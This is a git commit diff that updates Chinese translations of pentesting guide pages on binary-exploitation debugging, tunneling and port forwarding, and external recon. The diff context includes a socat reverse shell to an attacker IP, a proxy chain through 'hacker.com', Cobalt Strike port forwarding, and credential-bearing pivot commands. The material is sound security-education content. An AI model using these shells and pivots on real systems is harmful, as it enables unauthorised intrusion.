Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met

This commit is contained in:
Translator 2025-01-05 20:58:48 +00:00
parent a229e3075d
commit eb1288dfc0
32 changed files with 893 additions and 888 deletions

View File

@ -74,7 +74,7 @@ x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
您可以选择使用 [**这个 GE 的分支**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef),它包含更多有趣的说明。
您可以选择使用 [**这个 GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) 的分支,它包含更多有趣的说明。
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
@ -125,14 +125,14 @@ gef➤ pattern search 0x6261617762616176
- `unset env LINES`
- `unset env COLUMNS`
- `set env _=<path>` _入二进制文件的绝对路径_
- `set env _=<path>` _入二进制文件的绝对路径_
- 使用相同的绝对路径利用二进制文件
- 使用 GDB 和利用二进制文件时,`PWD``OLDPWD` 必须相同
#### 回溯以查找调用的函数
当你有一个 **静态链接的二进制文件** 时,所有函数都将属于该二进制文件(而不是外部库)。在这种情况下,**识别二进制文件请求用户输入的流程将会很困难。**\
你可以通过 **运行** 二进制文件并 **gdb** 直到被要求输入来轻松识别这个流程。然后,使用 **CTRL+C** 停止它,并使用 **`bt`** **回溯**)命令查看调用的函数:
你可以通过 **运行** 二进制文件并 **使用 gdb** 直到被要求输入来轻松识别这个流程。然后,使用 **CTRL+C** 停止它,并使用 **`bt`** **回溯**)命令查看调用的函数:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
@ -143,15 +143,15 @@ gef➤ bt
```
### GDB 服务器
`gdbserver --multi 0.0.0.0:23947`(在 IDA 中,您必须填写 Linux 机器上可执行文件的绝对路径,在 Windows 机器上也是如此)
`gdbserver --multi 0.0.0.0:23947` (在 IDA 中,您必须填写 Linux 机器上可执行文件的绝对路径,在 Windows 机器上也是如此)
## Ghidra
### 查找栈偏移
**Ghidra** 非常有用,可以找到 **缓冲区溢出的偏移量,感谢有关局部变量位置的信息。**\
例如,在下面的示例中,`local_bc` 中的缓冲区流表示您需要 `0xbc` 的偏移量。此外,如果 `local_10` 是一个金丝雀 cookie则表要从 `local_bc` 覆盖它需要 `0xac` 的偏移量。\
&#xNAN;_&#x52;请记住,保存 RIP 的前 0x08 属于 RBP。_
**Ghidra** 对于查找 **缓冲区溢出****偏移量** 非常有用,因为它提供了关于局部变量位置的信息。\
例如,在下面的示例中,`local_bc` 中的缓冲区溢出表明您需要 `0xbc` 的偏移量。此外,如果 `local_10` 是一个金丝雀 cookie则表要从 `local_bc` 覆盖它需要 `0xac` 的偏移量。\
_请记住保存 RIP 的前 0x08 属于 RBP。_
![](<../../../images/image (1061).png>)
@ -164,8 +164,8 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
## GCC
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 在没有保护的情况下编译\
&#xNAN;**-o** --> 输出\
&#xNAN;**-g** --> 保存代码GDB 将能够看到它)\
**-o** --> 输出\
**-g** --> 保存代码GDB 将能够看到它)\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> 在 Linux 中停用 ASLR
**编译 shellcode**\
@ -175,13 +175,13 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
## Objdump
**-d** --> **反汇编可执行**部分(查看编译的 shellcode 的操作码,查找 ROP Gadgets查找函数地址...\
&#xNAN;**-Mintel** --> **Intel** 语法\
&#xNAN;**-t** --> **符号**表\
&#xNAN;**-D** --> **反汇编所有**(静态变量的地址)\
&#xNAN;**-s -j .dtors** --> dtors 部分\
&#xNAN;**-s -j .got** --> got 部分\
**-Mintel** --> **Intel** 语法\
**-t** --> **符号**表\
**-D** --> **反汇编所有**(静态变量的地址)\
**-s -j .dtors** --> dtors 部分\
**-s -j .got** --> got 部分\
-D -s -j .plt --> **plt** 部分 **反编译**\
&#xNAN;**-TR** --> **重定位**\
**-TR** --> **重定位**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> 要在 GOT 中修改的 "puts" 的地址\
**objdump -D ./exec | grep "VAR_NAME"** --> 静态变量的地址(这些存储在 DATA 部分)。
@ -193,8 +193,8 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
## 更多
**ldd executable | grep libc.so.6** --> 地址(如果 ASLR则每次都改变)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> 循环查看地址是否变化很\
**ldd executable | grep libc.so.6** --> 地址(如果 ASLR则每次都改变\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> 循环查看地址是否变化很\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" 的偏移量\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" 的偏移量
@ -214,7 +214,7 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
```
./linux_server64 -Ppass
```
然后,配置调试器:调试器linux 远程) --> 进程选项...
然后,配置调试器:Debugger (linux remote) --> Proccess options...:
![](<../../../images/image (858).png>)

View File

@ -1,15 +1,15 @@
# 隧道和端口转发
# Tunneling and Port Forwarding
{{#include ../banners/hacktricks-training.md}}
## Nmap提示
## Nmap tip
> [!WARNING]
> **ICMP****SYN** 扫描无法通过socks代理进行隧道传输因此我们必须 **禁用ping发现** (`-Pn`) 并指定 **TCP扫描** (`-sT`) 以使其工作。
> **ICMP****SYN** 扫描无法通过 socks 代理进行隧道传输,因此我们必须 **禁用 ping 发现** (`-Pn`) 并指定 **TCP 扫描** (`-sT`) 以使其工作。
## **Bash**
**主机 -> 跳转 -> 内部A -> 内部B**
**Host -> Jump -> InternalA -> InternalB**
```bash
# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
@ -31,9 +31,9 @@ SSH 图形连接 (X)
```bash
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
```
### 本地端口到端口
### Local Port2Port
SSH 服务器中打开新端口 --> 其他端口
在SSH服务器中打开新端口 --> 其他端口
```bash
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
```
@ -68,7 +68,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
```
### VPN-Tunnel
您需要**在两个设备上具有root权限**(因为您将创建新的接口并且sshd配置必须允许root登录\
您需要**在两个设备上具有 root 权限**(因为您将创建新的接口),并且 sshd 配置必须允许 root 登录:\
`PermitRootLogin yes`\
`PermitTunnel yes`
```bash
@ -152,14 +152,14 @@ rportfwd stop [bind port]
```
需要注意:
- Beacon 的反向端口转发旨在 **将流量隧道传输到团队服务器,而不是在单个机器之间中继**。
- Beacon 的反向端口转发旨在 **将流量隧道传输到 Team Server,而不是在单个机器之间中继**。
- 流量在 **Beacon 的 C2 流量中隧道传输**,包括 P2P 链接。
- **不需要管理员权限** 来在高端口上创建反向端口转发。
### rPort2Port 本地
> [!WARNING]
> 在这种情况下,**端口在 beacon 主机上打开**,而不是在团队服务器上,**流量发送到 Cobalt Strike 客户端**(而不是团队服务器),然后从那里发送到指定的主机:端口
> 在这种情况下,**端口在 beacon 主机上打开**,而不是在 Team Server 上,**流量发送到 Cobalt Strike 客户端**(而不是 Team Server然后从那里发送到指定的 host:port
```
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
@ -175,7 +175,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
## Chisel
您可以从 [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) 的发布页面下载它。\
您需要为客户端和服务器使用 **相同版本**。
您需要为客户端和服务器使用 **相同版本**。
### socks
```bash
@ -246,7 +246,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
```
通过 **NTLM 代理** 进行中转
通过 **NTLM 代理** 进行枢轴
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
```
@ -272,7 +272,7 @@ victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```bash
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
```
### 通过socks进行Port2Port
### 通过socksPort2Port
```bash
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
```
@ -290,6 +290,8 @@ victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
### SSL Socat Tunnel
**/bin/sh console**
@ -344,7 +346,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
您需要拥有**系统的 RDP 访问权限**。\
下载:
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 此工具使用 Windows 远程桌面服务功能中的 `Dynamic Virtual Channels` (`DVC`)。DVC 负责**在 RDP 连接上隧道数据包**。
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 此工具使用 Windows 的远程桌面服务功能中的`Dynamic Virtual Channels``DVC`。DVC 负责**在 RDP 连接上隧道数据包**。
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
在您的客户端计算机上加载**`SocksOverRDP-Plugin.dll`**,如下所示:
@ -352,13 +354,13 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
现在我们可以通过 **RDP** 使用 **`mstsc.exe`** 连接到 **victim**,我们应该收到一个 **prompt**,提示 **SocksOverRDP plugin is enabled**,并且它将 **listen****127.0.0.1:1080**
现在我们可以通过 **RDP** 使用 **`mstsc.exe`** 连接到 **victim**,我们应该收到一个 **prompt**,提示 **SocksOverRDP 插件已启用**,并且它将 **listen****127.0.0.1:1080**
通过 **RDP** 连接并在受害者机器上上传并执行 `SocksOverRDP-Server.exe` 二进制文件:
```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
现在在你的机器(攻击者)上确认端口 1080 正在监听:
现在在你的机器(攻击者)上确认端口 1080 正在监听:
```
netstat -antb | findstr 1080
```
@ -390,8 +392,8 @@ Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
```
现在,如果你在受害者的 **SSH** 服务上设置监听端口为 443。你可以通过攻击者的端口 2222 连接到它。\
你也可以使用一个连接到 localhost:443 的 **meterpreter**,而攻击者在端口 2222 上监听。
现在,如果你在受害者的**SSH**服务上设置监听端口为443。你可以通过攻击者的2222端口连接到它。\
你也可以使用连接到localhost:443的**meterpreter**而攻击者在2222端口监听。
## YARP
@ -403,7 +405,7 @@ Tunnel 2222:<attackers_machine>:443
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
在两个系统中都需要 root 权限,以创建 tun 适配器并通过 DNS 查询在它们之间隧道数据。
在两个系统中都需要root权限以创建tun适配器并通过DNS查询在它们之间隧道数据。
```
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
@ -440,7 +442,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
```
#### 更改 proxychains DNS
Proxychains 拦截 `gethostbyname` libc 调用,并通过 socks 代理隧道 tcp DNS 请求。默认情况下proxychains 使用的 DNS 服务器是 **4.2.2.2**(硬编码)。要更改它,请编辑文件: _/usr/lib/proxychains3/proxyresolv_ 并更改 IP。如果您在 **Windows 环境** 中,可以设置 **域控制器** 的 IP。
Proxychains 拦截 `gethostbyname` libc 调用,并通过 socks 代理隧道 tcp DNS 请求。默认情况下proxychains 使用的 DNS 服务器是 **4.2.2.2**(硬编码)。要更改它,请编辑文件: _/usr/lib/proxychains3/proxyresolv_ 并更改 IP。如果您在 **Windows 环境**中,可以设置 **域控制器** 的 IP。
## Go 中的隧道
@ -477,13 +479,13 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
```
## ngrok
[**ngrok**](https://ngrok.com/) **是一个通过一条命令行将解决方案暴露到互联网的工具。**\
&#xNAN;_&#x45;xposition URI 类似于_ **UID.ngrok.io**
[**ngrok**](https://ngrok.com/) **是一个可以通过一条命令行将解决方案暴露到互联网的工具。**\
_&#x45;xposition URI 类似于:_ **UID.ngrok.io**
### 安装
- 创建一个账户 https://ngrok.com/signup
- 客户端下载
- 创建一个账户: https://ngrok.com/signup
- 客户端下载:
```bash
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok

View File

@ -24,11 +24,11 @@
### **ASNs**
自治系统编号(**ASN**)是由**互联网分配号码管理局IANA**分配给**自治系统**AS的**唯一编号**。\
一个**AS**由**IP地址**的**块**组成,这些块有明确的政策来访问外部网络,并由单组织管理,但可能由多个运营商组成。
一个**AS**由**IP地址**的**块**组成,这些块有明确的政策来访问外部网络,并由单组织管理,但可能由多个运营商组成。
找出**公司是否分配了任何ASN**以找到其**IP范围**是很有趣的。对范围内的所有**主机**进行**漏洞测试**并**查找这些IP内的域名**将是很有趣的。\
找出**公司是否分配了任何ASN**以找到其**IP范围**是很有趣的。对所有**范围内的主机**进行**漏洞测试**并**查找这些IP内的域名**将是很有趣的。\
你可以在[**https://bgp.he.net/**](https://bgp.he.net)**中按公司**名称、**IP**或**域名**进行**搜索**。\
**根据公司的地区,这些链接可能对收集更多数据有用:** [**AFRINIC**](https://www.afrinic.net) **(非洲),** [**Arin**](https://www.arin.net/about/welcome/region/) **(北美),** [**APNIC**](https://www.apnic.net) **(亚洲),** [**LACNIC**](https://www.lacnic.net) **(拉丁美洲),** [**RIPE NCC**](https://www.ripe.net) **(欧洲)。无论如何,所有的**有用信息**IP范围和Whois可能已经在第一个链接中出现。**
**根据公司的地区,这些链接可能对收集更多数据有用:** [**AFRINIC**](https://www.afrinic.net) **(非洲),** [**Arin**](https://www.arin.net/about/welcome/region/) **(北美),** [**APNIC**](https://www.apnic.net) **(亚洲),** [**LACNIC**](https://www.lacnic.net) **(拉丁美洲),** [**RIPE NCC**](https://www.ripe.net) **(欧洲)。无论如何,所有的** 有用信息 **IP范围和Whois**可能已经在第一个链接中出现。
```bash
#You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla
@ -56,8 +56,8 @@ bbot -t tesla.com -f subdomain-enum
### **寻找漏洞**
在这一点上,我们知道 **范围内的所有资产**,所以如果您被允许,可以对所有主机启动一些 **漏洞扫描器**Nessus, OpenVAS。\
此外,您还可以启动一些 [**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **或使用像** shodan **这样的服务来查找** 开放端口 **,根据您发现的内容,您应该** 查阅本书了解如何对多个可能运行的服务进行渗透测试。\
此时我们已知 **范围内的所有资产**,因此如果您被允许,可以对所有主机启动一些 **漏洞扫描器**Nessus, OpenVAS。\
此外,您还可以启动一些 [**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **或使用像** shodan **这样的服务来查找** 开放端口 **,根据您发现的内容,您应该** 查阅本书了解如何对多个可能运行的服务进行渗透测试。\
**此外,值得一提的是,您还可以准备一些** 默认用户名 **和** 密码 **列表,并尝试使用 [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) 进行** 暴力破解服务。
## 域名
@ -70,7 +70,7 @@ _请注意在以下提出的技术中您还可以找到子域名这些
### **反向 DNS**
由于您已经找到了域名的所有 IP 范围,您可以尝试对这些 **IP 执行反向 DNS 查找,以查找范围内的更多域名**。尝试使用受害者的一些 DNS 服务器或一些知名的 DNS 服务器1.1.1.1, 8.8.8.8)。
由于您已找到域名的所有 IP 范围,因此可以尝试对这些 **IP 执行反向 DNS 查找,以查找范围内的更多域名**。尝试使用受害者的某个 DNS 服务器或一些知名的 DNS 服务器1.1.1.1, 8.8.8.8)。
```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@ -82,25 +82,25 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
### **反向 Whois循环**
**whois** 中,您可以找到很多有趣的 **信息**,如 **组织名称**、**地址**、**电子邮件**、电话号码……但更有趣的是,如果您通过这些字段中的任何一个进行 **反向 whois 查询**,可以找到 **与公司相关的更多资产**(例如,其他 whois 注册表中出现相同电子邮件的情况)。\
您可以使用在线工具,如:
**whois** 中,您可以找到很多有趣的 **信息**,如 **组织名称**、**地址**、**电子邮件**、电话号码……但更有趣的是,如果您通过这些字段中的任何一个执行 **反向 whois 查询**(例如,其他 whois 注册处中出现相同的电子邮件),您可以找到 **与公司相关的更多资产**。\
您可以使用在线工具,如:
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **免费**
- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **免费**
- [https://www.reversewhois.io/](https://www.reversewhois.io) - **免费**
- [https://www.whoxy.com/](https://www.whoxy.com) - **免费**网站不免费API。
- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 不免费
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 不免费(仅 **100 次免费**查询)
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 不免费(仅 **100 次免费** 查询)
- [https://www.domainiq.com/](https://www.domainiq.com) - 不免费
您可以使用 [**DomLink** ](https://github.com/vysecurity/DomLink) 自动化此任务(需要 whoxy API 密钥)。\
您还可以使用 [amass](https://github.com/OWASP/Amass) 行一些自动反向 whois 发现:`amass intel -d tesla.com -whois`
您还可以使用 [amass](https://github.com/OWASP/Amass) 行一些自动反向 whois 发现:`amass intel -d tesla.com -whois`
**请注意,每次找到新域名时,您都可以使用此技术发现更多域名。**
**请注意,您可以使用此技术在每次找到新域名时发现更多域名。**
### **跟踪器**
如果在两个不同页面中找到 **相同的跟踪器 ID**,您可以推测 **这两个页面****由同一团队管理**。\
如果在两个不同页面中找到 **相同的跟踪器 ID**,您可以假设 **这两个页面****由同一团队管理**。\
例如,如果您在多个页面上看到相同的 **Google Analytics ID** 或相同的 **Adsense ID**
有一些页面和工具可以让您通过这些跟踪器和更多内容进行搜索:
@ -113,7 +113,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
### **Favicon**
您知道我们可以通过查找相同的 favicon 图标哈希来找到与目标相关的域和子域吗?这正是 [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) 工具由 [@m4ll0k2](https://twitter.com/m4ll0k2) 制作的功能。以下是如何使用它:
您知道我们可以通过查找相同的 favicon 图标哈希来找到与目标相关的域和子域吗?这正是 [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) 工具由 [@m4ll0k2](https://twitter.com/m4ll0k2) 制作的功能。以下是如何使用它:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
@ -155,13 +155,13 @@ return fhash
### 邮件 DMARC 信息
您可以使用网站如[https://dmarc.live/info/google.com](https://dmarc.live/info/google.com)或工具如[https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains)来查找**共享相同 DMARC 信息的域名和子域名**。
您可以使用一个网站,例如[https://dmarc.live/info/google.com](https://dmarc.live/info/google.com)或一个工具,例如[https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains)来查找**共享相同 DMARC 信息的域名和子域名**。
### **被动接管**
显然人们常常将子域名分配给属于云服务提供商的IP并在某个时**失去该IP地址但忘记删除DNS记录**。因此,仅仅在云中**创建一个虚拟机**如Digital Ocean您实际上将**接管一些子域名**。
显然人们常常将子域名分配给属于云服务提供商的IP并在某个时**失去该IP地址但忘记删除DNS记录**。因此,仅仅在云中**创建一个虚拟机**(如 Digital Ocean您实际上将**接管一些子域名**。
[**这篇文章**](https://kmsec.uk/blog/passive-takeover/)讲述了一个关于它的故事,并提出了一个脚本,该脚本**在DigitalOcean中创建虚拟机****获取**新机器的**IPv4**,并**在Virustotal中搜索指向它的子域名记录**。
[**这篇文章**](https://kmsec.uk/blog/passive-takeover/)讲述了一个关于它的故事,并提出了一个脚本,该脚本**在 DigitalOcean 中创建一个虚拟机****获取**新机器的**IPv4**,并**在 Virustotal 中搜索指向它的子域名记录**。
### **其他方法**
@ -169,20 +169,20 @@ return fhash
**Shodan**
如您所知,您可以使用IP空间的组织名称进行搜索。您可以在shodan中使用以下数据进行搜索:`org:"Tesla, Inc."` 检查找到的主机以获取TLS证书中的新意外域名。
如您所知,您可以使用组织名称搜索IP空间。您可以在 Shodan 中使用以下数据进行搜索:`org:"Tesla, Inc."` 检查找到的主机以获取TLS证书中的新意外域名。
您可以访问主网页的**TLS证书**,获取**组织名称**,然后在**shodan**已知的所有网页的**TLS证书**中搜索该名称,使用过滤器:`ssl:"Tesla Motors"`,或使用工具如[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)。
您可以访问主网页的**TLS证书**,获取**组织名称**,然后在**shodan**已知的所有网页的**TLS证书**中搜索该名称,使用过滤器:`ssl:"Tesla Motors"`,或使用[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)这样的工具
**Assetfinder**
[**Assetfinder**](https://github.com/tomnomnom/assetfinder)是一个查找与主域名相关的**域名**及其**子域名**的工具,非常惊人
[**Assetfinder**](https://github.com/tomnomnom/assetfinder)是一个查找与主域名相关的**域名**及其**子域名**的工具,非常
### **寻找漏洞**
检查一些[域名接管](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)。也许某家公司**正在使用某个域名**但他们**失去了所有权**。只需注册它(如果足够便宜)并告知公司。
如果您发现任何**IP与您在资产发现中找到的不同**的域名,您应该执行**基本漏洞扫描**使用Nessus或OpenVAS和一些[**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside)使用**nmap/masscan/shodan**。根据运行的服务,您可以在**本书中找到一些“攻击”它们的技巧**。\
&#xNAN;_&#x4E;ote有时域名托管在不受客户控制的IP内因此不在范围内请小心。_
如果您发现任何**IP与您在资产发现中找到的不同**的域名,您应该执行**基本漏洞扫描**(使用 Nessus OpenVAS和一些[**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside)使用**nmap/masscan/shodan**。根据运行的服务,您可以在**本书中找到一些“攻击”它们的技巧**。\
_请注意有时域名托管在不受客户控制的IP内因此不在范围内请小心。_
## 子域名
@ -287,7 +287,7 @@ crt tesla.com
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
```
- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper)它们在网上抓取JS文件并从中提取子域名。
- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper):它们在网上抓取JS文件并从中提取子域名。
```bash
# Get only subdomains from SubDomainizer
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@ -315,7 +315,7 @@ python3 DomainTrail.py -d example.com
- [**securitytrails.com**](https://securitytrails.com/) 提供免费的 API 用于搜索子域名和 IP 历史
- [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
该项目提供 **与漏洞悬赏程序相关的所有子域名** 的免费访问。您还可以使用 [chaospy](https://github.com/dr-0x0x/chaospy) 访问这些数据,甚至可以访问该项目使用的范围 [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
该项目提供 **与漏洞赏金计划相关的所有子域名** 的免费访问。您还可以使用 [chaospy](https://github.com/dr-0x0x/chaospy) 访问这些数据,甚至可以访问该项目使用的范围 [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
您可以在这里找到许多这些工具的 **比较**: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
@ -323,7 +323,7 @@ python3 DomainTrail.py -d example.com
让我们尝试通过暴力破解 DNS 服务器来查找新的 **子域名**,使用可能的子域名名称。
为此操作,您需要一些 **常见的子域名词汇表,如**:
为此操作,您需要一些 **常见子域名字典,如**:
- [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
- [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@ -374,8 +374,8 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
- [**altdns**](https://github.com/infosec-au/altdns): 除了生成子域名排列,它还可以尝试解析它们(但最好使用之前提到的工具)。
- 你可以在 [**这里**](https://github.com/infosec-au/altdns/blob/master/words.txt) 获取 altdns 排列**wordlist**。
- [**altdns**](https://github.com/infosec-au/altdns): 除了生成子域名排列,它还可以尝试解析它们(但最好使用之前提到的工具)。
- 你可以在 [**这里**](https://github.com/infosec-au/altdns/blob/master/words.txt) 获取 altdns 排列 **词表**。
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
@ -385,17 +385,17 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
```
- [**alterx**](https://github.com/projectdiscovery/alterx)**:** 基于域名,它 **生成新的潜在子域名**根据指示的模式尝试发现更多子域名。
- [**alterx**](https://github.com/projectdiscovery/alterx)**:** 基于域名,它 **生成新的潜在子域名**基于指示的模式以尝试发现更多子域名。
#### 智能排列生成
- [**regulator**](https://github.com/cramppet/regulator): 更多信息请阅读这篇 [**文章**](https://cramppet.github.io/regulator/index.html),但它基本上会从 **发现的子域名**提取 **主要部分** 并进行混合以找到更多子域名。
- [**regulator**](https://github.com/cramppet/regulator): 更多信息请阅读这篇 [**文章**](https://cramppet.github.io/regulator/index.html),但它基本上会从 **发现的子域名**获取 **主要部分** 并将其混合以找到更多子域名。
```bash
python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ 是一个子域名暴力破解模糊器,结合了一个极其简单但有效的 DNS 响应引导算法。它利用提供的一组输入数据,如定制的单词列表或历史 DNS/TLS 记录,准确合成更多相应的域名,并根据在 DNS 扫描过程中收集的信息进一步扩展它们。
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ 是一个子域名暴力破解模糊器,结合了一个极其简单但有效的 DNS 响应引导算法。它利用提供的一组输入数据,如定制的词汇表或历史 DNS/TLS 记录,准确合成更多相应的域名,并根据在 DNS 扫描过程中收集的信息进一步扩展它们。
```
echo www | subzuf facebook.com
```
@ -438,7 +438,7 @@ VHostScan -t example.com
> [!NOTE]
> 使用此技术,您甚至可能能够访问内部/隐藏的端点。
### **CORS Brute Force**
### **CORS 暴力破解**
有时您会发现页面仅在有效的域/子域设置在 _**Origin**_ 头时返回头部 _**Access-Control-Allow-Origin**_。在这些情况下,您可以利用这种行为来 **发现** 新的 **子域**
```bash
@ -447,62 +447,62 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
### **桶暴力破解**
在寻找 **子域名** 时,注意是否指向任何类型的 **桶**,在这种情况下 [**检查权限**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
此外,既然此时您将知道所有在范围内的域名,请尝试 [**暴力破解可能的桶名称并检查权限**](../../network-services-pentesting/pentesting-web/buckets/index.html)。
此外,既然此时你已经知道了所有在范围内的域名,尝试 [**暴力破解可能的桶名称并检查权限**](../../network-services-pentesting/pentesting-web/buckets/index.html)。
### **监控**
可以通过监控 **证书透明度** 日志来 **监控** 是否创建了域的新 **子域名** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)实现
可以通过监控 **证书透明度** 日志来 **监控** 是否创建了域的新 **子域名**[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) 可以做到这一点
### **寻找漏洞**
检查可能的 [**子域名接管**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)\
如果 **子域名** 指向某个 **S3 桶**[**检查权限**](../../network-services-pentesting/pentesting-web/buckets/index.html)。
检查可能的 [**子域名接管**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
如果 **子域名** 指向某个 **S3 桶**[**检查权限**](../../network-services-pentesting/pentesting-web/buckets/index.html)。
